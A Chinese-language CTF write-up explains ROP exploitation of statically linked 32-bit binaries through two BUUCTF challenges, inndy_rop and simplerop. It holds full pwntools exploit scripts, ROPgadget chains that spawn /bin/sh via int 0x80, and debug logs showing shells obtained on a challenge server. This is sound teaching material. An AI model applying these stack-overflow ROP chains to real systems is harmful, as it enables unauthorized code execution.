Statically Linked
通过file
指令可以看到程序编译的链接状态,在知道程序可以通过ROP来打的情况下,根据statically linked
和dynamically linked
两种链接方式来构造对应的ropchain和对应不同的攻击思路
dynamically linked
如果程序是动态链接的话,泄露程序函数的真实地址后拿到libc基址去得到例如system
和/bin/sh
的地址,这里不再赘述
statically linked
如果程序是静态链接,相对与动态链接就没有那么麻烦了,有的程序我们可以通过ROPgadget
这个工具来帮助我们构造我们的ropchain
ROPgadget --binary 程序名 --ropchain
Example-inndyrop
m1nus@ubuntu:~/elf/buu/inndy_rop$ file inndy_rop
inndy_rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped
程序运行后接收一次用户输入就结束
main()
// positive sp value has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
overflow();
return 0;
}
只有一个overflow()函数
overflow()
int overflow()
{
char v1[12]; // [esp+Ch] [ebp-Ch] BYREF
return gets(v1);
}
overflow()函数,通过gets()
来接收用户输入,没有限制用户输入长度,此处stack overflow
(通过IDA进行反编译的时候会发现程序里面函数比较多比较乱,这是因为程序是statically linked
,由于没有调用动态链接库里的函数,所以全部的函数都靠自己实现)
既然是静态链接我们直接上ROPgadget
#ROPgadget --binary inndy_rop --ropchain
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
以上就是我们通过ROPgadget构造出的ropchain,前面加上覆盖函数返回地址的padding即可
exp
from pwn import *
from struct import pack
context(os = "linux" , arch = 'i386' , log_level = 'debug')
elf=ELF("inndy_rop")
host="node4.buuoj.cn"
port=26277
local=int(input("0 for remote , 1 for local:\t"))
io = process(elf.path) if local==1 else remote(host,port)
# Padding goes here
p = b'a' * (0xc + 0x4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; retx
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
io.sendline(p)
io.interactive()
[+] Starting local process '/home/m1nus/elf/buu/inndy_rop/inndy_rop' argv=[b'/home/m1nus/elf/buu/inndy_rop/inndy_rop'] : pid 12744
[DEBUG] Sent 0x95 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 da ec 06 08 60 a0 0e 08 16 80 0b 08 2f 62 69 6e │····│`···│····│/bin│
00000020 6b 46 05 08 da ec 06 08 64 a0 0e 08 16 80 0b 08 │kF··│····│d···│····│
00000030 2f 2f 73 68 6b 46 05 08 da ec 06 08 68 a0 0e 08 │//sh│kF··│····│h···│
00000040 d3 92 04 08 6b 46 05 08 c9 81 04 08 60 a0 0e 08 │····│kF··│····│`···│
00000050 69 e7 0d 08 68 a0 0e 08 da ec 06 08 68 a0 0e 08 │i···│h···│····│h···│
00000060 d3 92 04 08 6f a6 07 08 6f a6 07 08 6f a6 07 08 │····│o···│o···│o···│
00000070 6f a6 07 08 6f a6 07 08 6f a6 07 08 6f a6 07 08 │o···│o···│o···│o···│
*
00000090 43 c9 06 08 0a │C···│·│
00000095
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x87 bytes:
b'uid=1000(m1nus) gid=1000(m1nus) groups=1000(m1nus),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)\n'
uid=1000(m1nus) gid=1000(m1nus) groups=1000(m1nus),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
由于实在是比较懒,没有截图,直接复制的bash的内容
当然,ROPgadget也不是万能的,像angr需要我们添加适当的约束条件一样,针对statically linked
的程序构造的ropchain都可以打通,需要我们根据程序人为的修改下,或者另寻他法。比如我们来看下这道题
Example-simplerop
m1nus@ubuntu:~/elf/buu/simplerop$ file simplerop
simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped
ROP is easy is'nt it ?
Your input :
程序运行后接收一次用户的输入,然后结束
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h] BYREF
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
}
这里通过read()来接收用户的输入,单从源码来看的话,这里v4的长度是0x14,而接受的长度是100,也就是0x64,stackoverflow了
静态链接那么我们首先还是尝试下ROPgadget
#ROPgadget --binary simplerop --ropchain
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x080493e1) # int 0x80
添加padding(具体长度后面来计算)构造好ropchain后,发送
[+] Starting local process '/home/m1nus/elf/buu/simplerop/simplerop' argv=[b'/home/m1nus/elf/buu/simplerop/simplerop'] : pid 14444
exp.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil("Your input :")
[DEBUG] Received 0x23 bytes:
b"ROP is easy is'nt it ?\n"
b'Your input :'
[DEBUG] Sent 0xa9 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 2a e8 06 08 60 a0 0e 08 06 ae 0b 08 2f 62 69 6e │*···│`···│····│/bin│
00000030 5d a1 09 08 2a e8 06 08 64 a0 0e 08 06 ae 0b 08 │]···│*···│d···│····│
00000040 2f 2f 73 68 5d a1 09 08 2a e8 06 08 68 a0 0e 08 │//sh│]···│*···│h···│
00000050 50 42 05 08 5d a1 09 08 c9 81 04 08 60 a0 0e 08 │PB··│]···│····│`···│
00000060 51 e8 06 08 68 a0 0e 08 60 a0 0e 08 2a e8 06 08 │Q···│h···│`···│*···│
00000070 68 a0 0e 08 50 42 05 08 7f b2 07 08 7f b2 07 08 │h···│PB··│····│····│
00000080 7f b2 07 08 7f b2 07 08 7f b2 07 08 7f b2 07 08 │····│····│····│····│
*
000000a0 7f b2 07 08 e1 93 04 08 0a │····│····│·│
000000a9
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
本地EOF
[+] Opening connection to node4.buuoj.cn on port 27544: Done
exp.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil("Your input :")
[DEBUG] Received 0x23 bytes:
b"ROP is easy is'nt it ?\n"
b'Your input :'
[DEBUG] Sent 0xa9 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 2a e8 06 08 60 a0 0e 08 06 ae 0b 08 2f 62 69 6e │*···│`···│····│/bin│
00000030 5d a1 09 08 2a e8 06 08 64 a0 0e 08 06 ae 0b 08 │]···│*···│d···│····│
00000040 2f 2f 73 68 5d a1 09 08 2a e8 06 08 68 a0 0e 08 │//sh│]···│*···│h···│
00000050 50 42 05 08 5d a1 09 08 c9 81 04 08 60 a0 0e 08 │PB··│]···│····│`···│
00000060 51 e8 06 08 68 a0 0e 08 60 a0 0e 08 2a e8 06 08 │Q···│h···│`···│*···│
00000070 68 a0 0e 08 50 42 05 08 7f b2 07 08 7f b2 07 08 │h···│PB··│····│····│
00000080 7f b2 07 08 7f b2 07 08 7f b2 07 08 7f b2 07 08 │····│····│····│····│
*
000000a0 7f b2 07 08 e1 93 04 08 0a │····│····│·│
000000a9
[*] Switching to interactive mode
[DEBUG] Received 0x2b bytes:
b'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
远程timeout
很显然,这个方法就行不通了
这道题程序没有got表,无法泄露函数的地址,没有system
,没有/bin/sh
都没办法了试下系统调用呢,如果是需要用到系统调用就需要一个比较核心的指令——int 0x80
我们可以先通过ROPgadget来搜索看看,程序里有没有
m1nus@ubuntu:~/elf/buu/simplerop$ ROPgadget --binary simplerop --only "int"
Gadgets information
============================================================
0x080493e1 : int 0x80
Unique gadgets found: 1
发现有int 0x80
,那后面就好构造了
我们需要int80(11 , '/bin/sh' , null , null)
,相当于执行的是execve('/bin/sh' , 0 , 0)
,从而拿到shell
程序也没有/bin/sh
,需要我们读入,这里可以用read,下面开始构造payload
首先是padding部分,上文说到从源码,包括IDA的栈试图来看v2
都是0x14的大小,加上0x8
就是0x1c
,但是实际上会发现打不通,我们通过gdb+cyclic来看
m1nus@ubuntu:~/elf/buu/simplerop$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
先生成200个数据,然后gdb让程序run起来,c到等待用户输入的地方,将200个数据复制进去
Program received signal SIGSEGV, Segmentation fault.
0x61616169 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[REGISTERS]────────────────────────────────────────────────
*EAX 0x64
EBX 0x80481a8 (_init) ◂— push ebx
*ECX 0xffffd0dc ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*EDX 0x64
EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x80677d0 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
ESI 0x0
*EBP 0x61616168 ('haaa')
*ESP 0xffffd100 ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*EIP 0x61616169 ('iaaa')
──────────────────────────────────────────[DISASM]────────────────────────────────────────────────────
Invalid address 0x61616169
发现会报Invalid address 0x61616169
,我们把0x61616169
复制,终端输入
pwndbg> cyclic -l 0x61616169
32
得到32
,也就是实际的padding长度,0x20
接着还需要一些gadgets,我们需要控制寄存器里面的内容来控制函数的参数。int80(11 , '/bin/sh' , 0 , 0)
可以看到需要4个值,分别对应的寄存器是eax
, ebx
, ecx
, edx
还是通过ROPgadget来搜索
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
拿到可以控制edx
, ecx
, ebx
的gadgets,还差eax
0x080bae06 : pop eax ; ret
找到一条单独的,gadgets就找完了
由于这个程序没有开启pie,那bss段绝对地址不会发生改变,我们就可以将/bin/sh
写入bss段,再进行调用
有了这些前置条件,就可以来构造ropchain了
payload = b'a' * padding
payload第一部分是padding,覆盖函数返回地址,跳向哪里呢,下一步,我们需要调用read来向bss段上去读入/bin/sh
,所以跳向read()
payload += p32(read_addr) + p32(pop_edx_ecx_dbx) + p32(0) + p32(bss_addr) + p32(0x8)
read()函数需要三个参数,我们就可以通过之前找到的pop edx ; pop ecx ; pop ebx ; ret
来控制参数,从标准输入流中读取数据到bss段去,读取多少呢,只要比/bin/sh
长就行,可以给个8。那么这里三个参数就是read(0 , bss_addr , 0x8)
下一步,开始系统调用
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(bss_addr) + p32(0) + p32(0) + p32(int_80)
首先是给四个寄存器复制,然后接着进行int 0x80
,系统调用号为11
,也就是0xb
,所以eax为0xb
,后面的寄存器赋值就是按照('/bin/sh' , 0 , 0)
进行的,依次赋给这三个寄存器,然后跳到int 0x80
来进行系统调用,注意参数是从右往左依次入栈的,这也是这样构造payload的原因
至此,payload就构造完成了
发送完payload后,再发送/bin/sh
写到bss段上,为后续调用做准备
exp
from pwn import *
from struct import pack
context(os='linux',arch='i386',log_level='debug')
elf=ELF("simplerop")
host = "node4.buuoj.cn"
port = 27544
local=int(input("0 for remote,1 for local:\t"))
io=process(elf.path) if local==1 else remote(host,port)
io.recvuntil("Your input :")
padding = 0x20
read = elf.sym['read']
int_0x80 = 0x080493e1
bss_addr = 0x080EB584 #binsh is written here
pop_edx_ecx_ebx = 0x0806e850
pop_eax = 0x080bae06
payload = b'a' * padding + p32(read) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss_addr) + p32(0x8) + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss_addr) + p32(int_0x80)
io.sendline(payload)
# gdb.attach(io)
io.send("/bin/sh")
io.interactive()
[+] Starting local process '/home/m1nus/elf/buu/simplerop/simplerop' argv=[b'/home/m1nus/elf/buu/simplerop/simplerop'] : pid 18643
exp.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil("Your input :")
[DEBUG] Received 0x23 bytes:
b"ROP is easy is'nt it ?\n"
b'Your input :'
[DEBUG] Sent 0x51 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 50 cd 06 08 50 e8 06 08 00 00 00 00 84 b5 0e 08 │P···│P···│····│····│
00000030 08 00 00 00 06 ae 0b 08 0b 00 00 00 50 e8 06 08 │····│····│····│P···│
00000040 00 00 00 00 00 00 00 00 84 b5 0e 08 e1 93 04 08 │····│····│····│····│
00000050 0a │·│
00000051
exp.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.send("/bin/sh")
[DEBUG] Sent 0x7 bytes:
b'/bin/sh'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x6 bytes:
b'm1nus\n'
m1nus
$
拿到shell
本文主要是针对比较经典的statically linked
程序的ROP方法进行了讲解,如果有其他方法或者问题欢迎大家下方补充